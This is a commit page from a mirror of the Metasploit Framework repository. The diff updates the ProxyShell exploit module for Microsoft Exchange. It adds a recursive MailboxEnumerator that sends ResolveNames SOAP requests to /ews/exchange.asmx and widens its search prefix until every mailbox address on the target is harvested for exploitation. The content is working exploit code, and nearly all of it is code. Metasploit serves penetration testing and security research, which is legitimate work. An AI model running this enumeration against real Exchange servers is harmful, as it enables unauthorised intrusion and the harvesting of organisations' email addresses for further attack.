mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-10-09 04:26:11 +02:00
Fix enumerating emails via ProxyShell
The ResolveNames endpoint used to gather emails addresses for targeting only returns 100 at a time. This updates the module to check if the search result contains all entries and when it does, it recurses into itself with a refined search prefix. All results are returned to match the original functionality instead of enumerating and halting once one that's suitable for exploitation has been found.
This commit is contained in:
parent
07a91df7a1
commit
96da805014
@ -8,7 +8,7 @@
|
|||||||
</soap:Header>
|
</soap:Header>
|
||||||
<soap:Body>
|
<soap:Body>
|
||||||
<m:ResolveNames ReturnFullContactData="true" SearchScope="ActiveDirectory">
|
<m:ResolveNames ReturnFullContactData="true" SearchScope="ActiveDirectory">
|
||||||
<m:UnresolvedEntry>SMTP:</m:UnresolvedEntry>
|
<m:UnresolvedEntry><%= name %></m:UnresolvedEntry>
|
||||||
</m:ResolveNames>
|
</m:ResolveNames>
|
||||||
</soap:Body>
|
</soap:Body>
|
||||||
</soap:Envelope>
|
</soap:Envelope>
|
||||||
|
@ -320,17 +320,13 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||||||
end
|
end
|
||||||
|
|
||||||
def get_emails
|
def get_emails
|
||||||
envelope = XMLTemplate.render('soap_getemails')
|
|
||||||
res = send_http('POST', '/ews/exchange.asmx', data: envelope, ctype: 'text/xml;charset=UTF-8')
|
|
||||||
fail_with(Failure::UnexpectedReply, 'Failed to enumerate email addresses from Active Directory') unless res&.code == 200
|
|
||||||
|
|
||||||
mailbox_table = Rex::Text::Table.new(
|
mailbox_table = Rex::Text::Table.new(
|
||||||
'Header' => 'Exchange Mailboxes',
|
'Header' => 'Exchange Mailboxes',
|
||||||
'Columns' => %w[EmailAddress Name RoutingType MailboxType]
|
'Columns' => %w[EmailAddress Name RoutingType MailboxType]
|
||||||
)
|
)
|
||||||
xml_ns = { 't' => 'http://schemas.microsoft.com/exchange/services/2006/types' }
|
|
||||||
res.get_xml_document.xpath('//t:Mailbox', xml_ns).each do |mailbox|
|
MailboxEnumerator.new(self).each do |row|
|
||||||
mailbox_table << %w[t:EmailAddress t:Name t:RoutingType t:MailboxType].map { |xpath| mailbox.xpath(xpath, xml_ns)&.text || '' }
|
mailbox_table << row
|
||||||
end
|
end
|
||||||
|
|
||||||
print_status("Enumerated #{mailbox_table.rows.length} email addresses")
|
print_status("Enumerated #{mailbox_table.rows.length} email addresses")
|
||||||
@ -480,6 +476,42 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Use https://learn.microsoft.com/en-us/exchange/client-developer/web-service-reference/resolvenames to resolve mailbox
|
||||||
|
# information. The endpoint only returns 100 at a time though so if the target has more than that many email addresses
|
||||||
|
# multiple requests will need to be made. Since the endpoint doesn't support pagination, we refine the query by using
|
||||||
|
# progressively larger search prefixes until there are less than 101 results and thus will fit into a single response.
|
||||||
|
class MailboxEnumerator
|
||||||
|
def initialize(mod)
|
||||||
|
@mod = mod
|
||||||
|
end
|
||||||
|
|
||||||
|
# the characters that Exchange Server 2019 allows in an alias (no unicode)
|
||||||
|
ALIAS_CHARSET = 'abcdefghijklmnopqrstuvwxyz0123456789!#$%&\'*+-/=?^_`{|}~'.freeze
|
||||||
|
XML_NS = {
|
||||||
|
'm' => 'http://schemas.microsoft.com/exchange/services/2006/messages',
|
||||||
|
't' => 'http://schemas.microsoft.com/exchange/services/2006/types'
|
||||||
|
}.freeze
|
||||||
|
|
||||||
|
include Enumerable
|
||||||
|
XMLTemplate = Msf::Exploit::Remote::HTTP::Exchange::ProxyMaybeShell::XMLTemplate
|
||||||
|
|
||||||
|
def each(name: 'SMTP:', &block)
|
||||||
|
envelope = XMLTemplate.render('soap_getemails', name: name)
|
||||||
|
res = @mod.send_http('POST', '/ews/exchange.asmx', data: envelope, ctype: 'text/xml;charset=UTF-8')
|
||||||
|
return unless res&.code == 200
|
||||||
|
|
||||||
|
if res.get_xml_document.xpath('//m:ResolutionSet/@IncludesLastItemInRange', XML_NS).first&.text&.downcase == 'false'
|
||||||
|
ALIAS_CHARSET.each_char do |char|
|
||||||
|
each(name: name + char, &block)
|
||||||
|
end
|
||||||
|
else
|
||||||
|
res.get_xml_document.xpath('//t:Mailbox', XML_NS).each do |mailbox|
|
||||||
|
yield %w[t:EmailAddress t:Name t:RoutingType t:MailboxType].map { |xpath| mailbox.xpath(xpath, XML_NS)&.text || '' }
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
class PstEncoding
|
class PstEncoding
|
||||||
ENCODE_TABLE = [
|
ENCODE_TABLE = [
|
||||||
71, 241, 180, 230, 11, 106, 114, 72,
|
71, 241, 180, 230, 11, 106, 114, 72,
|
||||||
|
Loading…
Reference in New Issue
Block a user